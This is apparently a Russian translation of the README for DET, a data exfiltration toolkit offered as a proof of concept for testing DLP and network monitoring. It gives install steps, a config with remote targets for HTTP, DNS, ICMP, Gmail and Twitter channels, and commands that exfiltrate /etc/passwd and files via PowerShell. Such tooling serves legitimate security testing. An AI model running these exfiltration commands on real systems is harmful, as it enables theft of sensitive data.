DET (расширяемый) инструментарий для эксфильтрации данных

=======

DET (предоставляется КАК ЕСТЬ) является доказательством концепции для выполнения эксфильтрации данных с использованием одного или нескольких каналов одновременно.

Это доказательство концепции, направленное на выявление возможных сбоев DLP. Это никогда не должно использоваться для эксфильтрации конфиденциальных/живых данных (например, при оценке)

Идея заключалась в создании универсального набора инструментов для подключения любого протокола/сервиса для тестирования конфигурации реализованных решений мониторинга сети и предотвращения утечки данных (DLP) против различных техник эксфильтрации данных.

Основной репозиторий теперь перемещен сюда.

Слайды

DET был представлен на BSides Ljubljana 9 марта 2016 года, слайды будут доступны здесь. Слайды доступны здесь.

Пример использования (плагин ICMP)

Серверная сторона:

asciicast

Клиентская сторона:

asciicast

Использование при объединении двух каналов (Gmail/Twitter)

Серверная сторона:

asciicast

Клиентская сторона:

asciicast

Установка

Клонируйте репозиторий:

git clone https://github.com/sensepost/DET.git

Затем:

pip install -r requirements.txt --user

Конфигурация

Чтобы использовать DET, вам необходимо настроить его и добавить свои параметры (например, SMTP/IMAP, парольную фразу шифрования AES256 и т.д.). Предоставлен пример файла конфигурации, который называется: config-sample.json

{
    "plugins": {
        "http": {
            "target": "192.168.1.101",
            "port": 8080
        },
        "google_docs": {
            "target": "192.168.1.101",
            "port": 8080,
        },
        "dns": {
            "key": "google.com",
            "target": "192.168.1.101",
            "port": 53
        },
        "gmail": {
            "username": "[email protected]",
            "password": "ReallyStrongPassword",
            "server": "smtp.gmail.com",
            "port": 587
        },
        "tcp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "udp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "twitter": {
            "username": "PaulWebSec",
            "CONSUMER_TOKEN": "XXXXXXXXX",
            "CONSUMER_SECRET": "XXXXXXXXX",
            "ACCESS_TOKEN": "XXXXXXXXX",
            "ACCESS_TOKEN_SECRET": "XXXXXXXXX"
        },
        "icmp": {
            "target": "192.168.1.101"
        }
    },
    "AES_KEY": "THISISACRAZYKEY",
    "sleep_time": 10
}

Использование

Справка по использованию

python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
              [-L]

Data Exfiltration Toolkit (SensePost)

optional arguments:
  -h, --help  show this help message and exit
  -c CONFIG   Configuration file (eg. '-c ./config-sample.json')
  -f FILE     File to exfiltrate (eg. '-f /etc/passwd')
  -d FOLDER   Folder to exfiltrate (eg. '-d /etc/')
  -p PLUGIN   Plugins to use (eg. '-p dns,twitter')
  -e EXCLUDE  Plugins to exclude (eg. '-e gmail,icmp')
  -L          Server mode

Серверная сторона:

Загрузить все плагины:

python det.py -L -c ./config.json

Загрузить только модули twitter и gmail:

python det.py -L -c ./config.json -p twitter,gmail

Загрузить все плагины и исключить DNS:

python det.py -L -c ./config.json -e dns

Клиентская сторона:

Загрузить все плагины:

python det.py -c ./config.json -f /etc/passwd

Загрузить только модули twitter и gmail:

python det.py -c ./config.json -p twitter,gmail -f /etc/passwd

Загрузить все плагины и исключить DNS:

python det.py -c ./config.json -e dns -f /etc/passwd

И в PowerShell (модуль HTTP):

PS C:\Users\user01\Desktop>
PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'

Модули

На данный момент DET поддерживает несколько протоколов, перечисленных ниже:

• HTTP(S)
• ICMP
• DNS
• SMTP/IMAP (например, Gmail)
• Raw TCP
• Реализация PowerShell (HTTP, DNS, ICMP, SMTP (используется с Gmail))

И другие «сервисы»:

• Google Docs (Неаутентифицированный)
• Twitter (Прямые сообщения)

Экспериментальные модули

На данный момент я занят реализацией новых модулей, которые почти готовы к выпуску, включая:

• Skype (95% готово)
• Tor (80% готово)
• Github (30/40% готово)

План развития

• Добавить подходящее шифрование (например, AES-256) Спасибо ryanohoro
• Сжатие (чрезвычайно важно!) Спасибо chokepoint
• Правильная обфускация данных и интеграция Cloakify Toolset Toolset
• Модули FTP, FlickR LSB Steganography и Youtube

Ссылки

Некоторые отличные ссылки/благодарности людям, у которых я почерпнул вдохновение благодаря их проектам:

• https://github.com/nullbind/Powershellery/ от Nullbind.
• https://github.com/ytisf/PyExfil, действительно круто.
• https://github.com/m57/dnsteal от m57.
• https://github.com/3nc0d3r/NaishoDeNusumu от 3nc0d3r.
• https://github.com/glennzw/exphil от Гленна Уилкинсона.
• WebExfile от Саифа Эль-Шереи

Контакты/Участие

Вы можете связаться со мной в Twitter @PaulWebSec. Не стесняйтесь, если хотите внести свой вклад, клонировать, форкнуть, отправить свой PR и т.д.

Лицензия

DET лицензирован по лицензии MIT. Разрешения, не предусмотренные данной лицензией, могут быть получены по адресу [email protected].